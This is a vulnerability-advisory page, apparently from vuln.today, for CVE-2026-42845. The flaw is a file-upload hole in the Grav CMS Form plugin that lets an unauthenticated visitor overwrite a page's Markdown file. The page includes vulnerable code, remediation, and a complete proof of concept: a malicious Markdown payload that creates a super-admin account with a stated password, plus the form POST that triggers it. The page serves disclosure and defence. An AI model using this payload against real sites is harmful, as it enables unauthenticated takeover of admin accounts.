Skip to main content

Grav Form Plugin CVE-2026-42845

HIGH
Improper Input Validation (CWE-20)
2026-05-06 https://github.com/getgrav/grav GHSA-w4rc-p66m-x6qq
7.7
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.5 HIGH

Unauthenticated network overwrite against the default self@ destination gives AV:N/AC:L/PR:N; direct impact is page-content integrity (I:H) with no inherent confidentiality or availability loss.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

5
Source Code Evidence Fetched
Jul 23, 2026 - 23:06 vuln.today
Analysis Generated
Jul 23, 2026 - 23:06 vuln.today
CVSS changed
May 11, 2026 - 17:22 NVD
7.7 (HIGH)
CVE Published
May 06, 2026 - 23:03 github-advisory
HIGH 7.7
CVE Published
May 06, 2026 - 23:03 nvd
HIGH

DescriptionGitHub Advisory

Summary

(Tested on Form 9.0.3 released on April, 28th)

The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.

A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:

  1. Upload arbitrary content with filename=form.md (or other page-content filenames),
  2. Submit the form to trigger Form::copyFiles(), which overwrites the page's own .md file.

Details

Vulnerable code path

user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):

php
$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));

$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) {                              // ← extension blocklist only
    return ['status' => 'error', 'message' => 'Bad filename'];
}

Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.

The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.

After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):

php
$destination = $upload->getDestination();   // ← determined at upload time:
                                            //   $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);

moveTo() does not check whether $destination is an existing protected file - if form.md (the page's own content) already exists at the destination, it is overwritten.

A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.

PoC

Setup :

Any existing page with a form like this - a "generic upload" form is the realistic case:

yaml
---
title: Upload your file
form:
    name: upform
    fields:
        - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
        - {name: notes, type: text}
    buttons:
        - {type: submit, value: Upload}
    process:
        - upload: true
        - display: thanks
---
  1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path /upload.
yaml
---
title: Pwned
form:
    name: pwn
    fields:
        - {name: dummy, type: text}
    buttons:
        - {type: submit, value: Submit}
    process:
        - save:
            folder: '../accounts'
            filename: 'viaup.yaml'
            extension: yaml
            operation: create
            body: |
                state: enabled
                email: viaup@example.com
                fullname: Via Upload
                title: Admin
                access:
                  admin: { login: true, super: true }
                  site:  { login: true }
                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
        - display: thanks
---

(Hash above is bcrypt for PwnPass123!.)

  1. Attacker accesses the new markdown file under the original path and loads the new markdown file GET /upload.
  2. Attacker sends a form POST request to /upload and change the form_name to whatever the payload form name is.

Keep in mind the nonce has to be valid.

POST /upload HTTP/1.1

------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"

[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"


------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"

pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"

8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"

4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--
  1. Login as a newly created super admin user.

Impact

Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.

Remediation

Block sensitive page-content filenames at upload

In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:

php
// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
    return [
        'status'  => 'error',
        'message' => 'File type not allowed for upload (page content files are blocked)',
    ];
}

Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list - these all carry executable semantics in Grav's runtime even though they are not "PHP".

AnalysisAI

Arbitrary page-content overwrite in the Grav CMS Form plugin (versions < 9.1.0) lets an unauthenticated visitor replace a page's own Markdown file by abusing a POST-controlled filename override in the file-upload handler. Because Utils::checkFilename() blocks only PHP/HTML/JS/EXE extensions and not '.md', an attacker submitting filename=form.md against any page whose form uses a permissive accept policy (e.g. accept:['*']) with the default destination self@ can overwrite the live page definition and pivot to a self-created super-admin account. Publicly available exploit code exists (a full PoC is published in the GHSA advisory), though EPSS is very low (0.04%) and it is not listed in CISA KEV.

Technical ContextAI

Grav is a PHP-based flat-file CMS in which each page is a directory under user/pages/ containing a Markdown (.md) file whose YAML frontmatter defines the page - including form definitions and process actions such as 'save'. The affected component is the Form plugin (pkg:composer/getgrav_grav-plugin-form). In uploadFiles() the destination filename is taken from $post['filename'] ?? $upload['file']['name'], making it fully attacker-controlled, and validation relies solely on Utils::checkFilename(), an extension blocklist (uploads_dangerous_extensions: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe) that omits page-content types like md/yaml/yml/json/twig/ini. This is a classic CWE-20 Improper Input Validation issue: the control validates only a narrow denylist while the real trust boundary (files that alter runtime/page behavior) is much wider. The upload destination is computed at upload time as page_dir + '/' + filename, and copyFiles() → moveTo() performs no check that the target is a pre-existing protected file, so the page's own .md is silently overwritten.

RemediationAI

Vendor-released patch: 9.1.0 - upgrade the Grav Form plugin to 9.1.0 or later, which strips path components from the POST-supplied filename via Utils::basename() and hard-blocks page-content extensions (md, yaml, yml, json, twig, ini) regardless of the configurable dangerous-extensions list (see GHSA-w4rc-p66m-x6qq and commit 48bacc4). If you cannot upgrade immediately, tighten permissive upload forms: change any file field's accept policy away from ['*'] to an explicit safe allowlist (e.g. image/* or specific document MIME types), which stops Markdown/YAML filenames passing the MIME check; alternatively change the field's destination away from self@ to a dedicated non-page directory so uploads cannot land next to a page's .md, at the cost of relocating where legitimate uploads are stored. As hardening, add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list, and restrict write access to user/accounts. After patching, audit user/accounts for unexpected super-admin entries and inspect page .md files for tampering.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-42845 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy